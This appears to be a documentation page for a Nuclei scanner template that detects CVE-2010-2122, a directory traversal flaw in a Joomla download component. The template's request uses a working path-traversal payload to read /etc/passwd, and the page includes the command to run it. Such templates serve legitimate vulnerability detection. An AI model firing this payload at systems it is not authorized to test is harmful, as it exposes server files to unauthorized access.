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Joomla! Component simpledownload <=0.9.5 - Arbitrary File Retrieval

ID: CVE-2010-2122

Severity: medium

Author: daffainfo

Tags: cve2010,cve,joomla,lfi,edb,joelrowley

Description

Section titled “Description”

A directory traversal vulnerability in the SimpleDownload (com_simpledownload) component before 0.9.6 for Joomla! allows remote attackers to retrieve arbitrary files via a .. (dot dot) in the controller parameter to index.php.

YAML Source

Section titled “YAML Source”
id: CVE-2010-2122


info:
  name: Joomla! Component simpledownload <=0.9.5 - Arbitrary File Retrieval
  author: daffainfo
  severity: medium
  description: A directory traversal vulnerability in the SimpleDownload (com_simpledownload) component before 0.9.6 for Joomla! allows remote attackers to retrieve arbitrary files via a .. (dot dot) in the controller parameter to index.php.
  impact: |
    An attacker can retrieve arbitrary files from the server, potentially leading to unauthorized access or sensitive data exposure.
  remediation: Upgrade to the latest version to mitigate this vulnerability.
  reference:
    - https://www.exploit-db.com/exploits/12623
    - https://nvd.nist.gov/vuln/detail/CVE-2010-2122
    - https://www.exploit-db.com/exploits/12618
    - http://extensions.joomla.org/extensions/directory-a-documentation/downloads/10717
    - https://exchange.xforce.ibmcloud.com/vulnerabilities/58625
  classification:
    cvss-metrics: CVSS:2.0/AV:N/AC:M/Au:N/C:P/I:P/A:P
    cvss-score: 6.8
    cve-id: CVE-2010-2122
    cwe-id: CWE-22
    epss-score: 0.01806
    epss-percentile: 0.87868
    cpe: cpe:2.3:a:joelrowley:com_simpledownload:0.9.5:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: joelrowley
    product: com_simpledownload
  tags: cve2010,cve,joomla,lfi,edb,joelrowley


http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?option=com_simpledownload&task=download&fileid=../../../../../../../../../../etc/passwd%00"


    matchers-condition: and
    matchers:
      - type: regex
        regex:
          - "root:.*:0:0:"


      - type: status
        status:
          - 200
# digest: 490a004630440220009b5c316e8f329c150b98ef561c74cce75d55e858eb751e8fcb5ec04facfeca0220694497110f902f435827404b0d7de0d62002218c1bc257ad842bf307bfb2f4e3:922c64590222798bb761d5b6d8e72950

Guide to check the vulnerabilities

Section titled “Guide to check the vulnerabilities”

This template is used to detect vulnerabilities in web applications. It can be used with the Nuclei tool to scan for specific patterns or behaviors.

Terminal window
$ nuclei -u "URL" -t "http/cves/2010/CVE-2010-2122.yaml"

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